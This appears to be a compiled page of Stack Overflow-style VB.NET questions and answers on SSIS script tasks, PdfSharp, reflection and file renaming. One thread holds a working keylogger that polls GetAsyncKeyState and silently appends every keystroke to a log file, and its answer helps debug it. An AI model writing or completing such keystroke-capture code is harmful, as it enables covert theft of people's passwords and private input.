SSIS Write Variable Script Task - vb.net

Not sure what I'm doing wrong here - I am attempting to generate a variable which i will then pass to an FTP task.
In the Script Task, I set variable ReadWrite = User::WildCard. Currently, the User::WildCard variable has a String value of "test.csv". This script should rename the string value to "/forecasts/forecast_20120730.csv" for today. As of now, the script runs successfully, however the variable is not written.
#Region "Imports"
Imports System
Imports System.Data
Imports System.Collections
Imports System.Math
Imports Microsoft.SqlServer.Dts.Runtime
Imports System.IO
Imports System.Text
Imports System.Windows.Forms
#End Region
'ScriptMain is the entry point class of the script. Do not change the name, attributes,
'or parent of this class.
<Microsoft.SqlServer.Dts.Tasks.ScriptTask.SSISScriptTaskEntryPointAttribute()> _
<System.CLSCompliantAttribute(False)> _
Partial Public Class ScriptMain
Inherits Microsoft.SqlServer.Dts.Tasks.ScriptTask.VSTARTScriptObjectModelBase
'This method is called when this script task executes in the control flow.
'Before returning from this method, set the value of Dts.TaskResult to indicate success or failure.
'To open Help, press F1.
Enum ScriptResults
Success = Microsoft.SqlServer.Dts.Runtime.DTSExecResult.Success
Failure = Microsoft.SqlServer.Dts.Runtime.DTSExecResult.Failure
End Enum
Public Sub Main()
Dim FilePart As String
FilePart = Format(Now, "yyyyMMdd")
Dts.Variables("WildCard").Value = "/forecasts/forecast_" & FilePart & "*.csv"
Dts.TaskResult = ScriptResults.Success
End Sub
End Class

In your code, I dont see a LockForWrite anywhere. I think you need that in order to write back to a variable. Here is an excellent and simple example from Jaime Thomson's blog on how to do it. Hope this helps.

Related

SSIS Script task error "Exception has been thrown by the target of an invocation."

I have the following script in SSIS using Pdfsharp library:
#Region "Imports"
Imports System
Imports System.Data
Imports System.Math
Imports PdfSharp.Pdf
Imports PdfSharp.Pdf.IO
Imports Microsoft.SqlServer.Dts.Runtime
#End Region
Public Sub Main()
'
' Add your code here
'
Dim document As PdfDocument
Dim doc_name As String
doc_name = "C:\temp\Testfile.pdf"
document = PdfReader.Open(doc_name)
document.Info.Author = "TestTest"
document.Save(doc_name)
Dts.TaskResult = ScriptResults.Success
End Sub
It's failing with an error "Exception has been thrown by the target of an invocation." on PdfReader.Open line. Steps executed: Pdfsharp library is placed in C:\Program Files (x86)\Microsoft SQL Server\130\DTS\Binn folder and solution recognizes it. I have access to that file and can open it. What else can cause this error in this super simple code? Would appreciate any advice.

Unable to use KeysConverter in a keylogger program

I am trying to create a basic keylogging program. I am interested in cyber security and want to learn more. I have hashed together the code below from various sources.
The line text = converter.ToString(i) generates an index out of bounds error.
I am thinking that this is because the object converter has not been instantiated as it should?? But how to fix it?
Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading
Module Module1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
filepath &= "\LogsFolder\"
If (Not Directory.Exists(filepath)) Then
Directory.CreateDirectory(filepath)
End If
Dim Path = (filepath & "LoggedKeys.text")
If Not File.Exists(Path) Then
Using sw As StreamWriter = File.CreateText(Path)
End Using
End If
Dim Converter = New KeysConverter()
Dim text As String = ""
While (True)
Thread.Sleep(5)
For i As Integer = 0 To 1999
Dim key = GetAsyncKeyState(i)
If key = 1 Or key = -32767 Then
text = converter.ToString(i)
Using sw As StreamWriter = File.AppendText(Path)
sw.WriteLine(text)
End Using
Exit For
End If
Next
End While
End Sub
End Module
Looks like you're looking for the ConvertToString method.
Replace the following line:
text = converter.ToString(i)
With:
text = converter.ConvertToString(i)
Edit to address your concerns in the comments:
I get a syntax error, 'ConvertToString' is not a member of KeysConverter... it sounds like my instantiation has not worked.
Hover with the mouse cursor over your Converter variable and double-check its type. Make sure that KeysConverter actually is the System.Windows.Forms.KeysConverter class and not some kind of a local generated class.
MyImports System.Windows.Forms statement is ghosted - suggesting that its never used.
That's what I suspected. You seem to be in a Console application and you're accessing a class within the System.Windows.Forms namespace which is not included in the Console app. You need to add a reference to System.Windows.Forms.dll as explained in this answer.
Also, make sure you locate and delete the generated KeysConverter class from your project so you avoid conflicts.

Get List of Functions and Subs in a class file

Is there a way to get a list of all of the Functions and Subs in Class file in Visual Studios? We're making extensive changes and I'd like to have a list in excel so I can use it to keep track of what I've already done.
I'd like to also get a list of every function/sub that references those subs/functions, but I can do that myself if necessary.
So, can this be done in Visual Studios?
Two options:
1. Programatically using Reflection and Type.GetMethods
See the MSDN page
Here is the example code on that page (I did not author this code, please see the link above)
Imports System
Imports System.Reflection
Imports System.Reflection.Emit
Imports Microsoft.VisualBasic
' Create a class having two public methods and one protected method.
Public Class MyTypeClass
Public Sub MyMethods()
End Sub 'MyMethods
Public Function MyMethods1() As Integer
Return 3
End Function 'MyMethods1
Protected Function MyMethods2() As [String]
Return "hello"
End Function 'MyMethods2
End Class 'MyTypeClass
Public Class TypeMain
Public Shared Sub Main()
Dim myType As Type = GetType(MyTypeClass)
' Get the public methods.
Dim myArrayMethodInfo As MethodInfo() = myType.GetMethods((BindingFlags.Public Or BindingFlags.Instance Or BindingFlags.DeclaredOnly))
Console.WriteLine((ControlChars.Cr + "The number of public methods is " & myArrayMethodInfo.Length.ToString() & "."))
' Display all the public methods.
DisplayMethodInfo(myArrayMethodInfo)
' Get the nonpublic methods.
Dim myArrayMethodInfo1 As MethodInfo() = myType.GetMethods((BindingFlags.NonPublic Or BindingFlags.Instance Or BindingFlags.DeclaredOnly))
Console.WriteLine((ControlChars.Cr + "The number of protected methods is " & myArrayMethodInfo1.Length.ToString() & "."))
' Display all the nonpublic methods.
DisplayMethodInfo(myArrayMethodInfo1)
End Sub 'Main
Public Shared Sub DisplayMethodInfo(ByVal myArrayMethodInfo() As MethodInfo)
' Display information for all methods.
Dim i As Integer
For i = 0 To myArrayMethodInfo.Length - 1
Dim myMethodInfo As MethodInfo = CType(myArrayMethodInfo(i), MethodInfo)
Console.WriteLine((ControlChars.Cr + "The name of the method is " & myMethodInfo.Name & "."))
Next i
End Sub 'DisplayMethodInfo
End Class 'TypeMain
2. With Visual Studio IDE and Code Metrics
Right click the Project
Calculate Code Metrics
In Code Metrics Results pane
Right click the Class
Open the Selection in Microsoft Excel
Might be an easier option.

Rename files sequentially

with reference to Renaming all files in a folder
on running the below code, get type def errors:
Type 'DirectoryInfo' is not defined
Type 'FileInfo' is not defined
how to resolve these errors. Please suggest.
Dim sourcePath As String = "E:\testrenamerbackup\vbdotnet"
Dim searchPattern As String = "*.doc"
Dim curDir As New DirectoryInfo(sourcePath)
Dim i As Integer = 0
For Each fi As FileInfo In curDir.GetFiles(searchPattern).OrderBy(Function(num) num.CreationTime)
File.Move(fi.FullName, Path.Combine(fi.Directory.FullName, "docFile_" & i & ".doc"))
i += 1
Next
Add Import System.IO on top of your vb.net class file, for example
Imports System
Imports System.IO
Public Class Test
Public Shared Sub Main()
' your code...
End Sub
End Class
System.IO Namespace contains types that allow reading and writing to files and data streams, and types that provide basic file and directory support including DirectoryInfo, FileInfo. by adding Import System.IO you can use those types and methods in the namespace.

Error in VB Function in SSIS but not in VisualStudio

I have some VB.Net code that I'm trying to add to a SSIS package. The code runs fine in VisualStudio 2012 and when I compile it there are no errors and the executable runs as well. When I insert the code into an SSIS package Script Task and copy/paste my code in I'm getting an error in one of my functions:
'Any' is not a member of 'System.Collections.Generic.IEnumerable(Of String)'.
I copied and pasted the main body of the code exactly and inserted one Imports line:
#Region "Imports"
Imports System
Imports System.Data
Imports System.Math
Imports System.IO 'Added this one Imports
Imports Microsoft.SqlServer.Dts.Runtime
#End Region
<Microsoft.SqlServer.Dts.Tasks.ScriptTask.SSISScriptTaskEntryPointAttribute()> _
<System.CLSCompliantAttribute(False)> _
Partial Public Class ScriptMain
Inherits Microsoft.SqlServer.Dts.Tasks.ScriptTask.VSTARTScriptObjectModelBase
Public Sub Main()
Dim sDirectoryRoot As String = "\\Server\Drive$\SubFolder\SubFolder2\"
Dim dirList As New DirectoryInfo(sDirectoryRoot)
ListFiles(dirList)
Dts.TaskResult = ScriptResults.Success 'left this line from SSIS default
End Sub
Public Sub ListFiles(ByVal dirList As DirectoryInfo)
Dim bEmpty As Boolean = False
[...] bunch of code with no errors. Actual function call below where clientdir is a directory path
bEmpty = IsDirectoryEmpty(clientdir.ToString)
End Sub
Public Function IsDirectoryEmpty(ByVal path As String) As Boolean
Return Not (Directory.EnumerateFileSystemEntries(path).Any())
End Function
The Directory.EnumerateFileSystemEntries(path).Any is underlined with the 'Any' is not a member of 'System.Collections.Generic.IEnumerable(Of String)' error. I can't figure out why it runs fine in Visual Studio, but when I use the Edit Script button in the Script Task Editor (which starts another instance of Visual Studio) it errors out.
Any is an extension method and, as with all extension methods, requires that you import the appropriate namespace. It is, in fact, the System.Linq.Enumerable.Any method, hence you must import the System.Linq namespace. That's probably done at the project level by default in your non-SSIS project. Note that you will also have to have referenced the System.Core.dll assembly.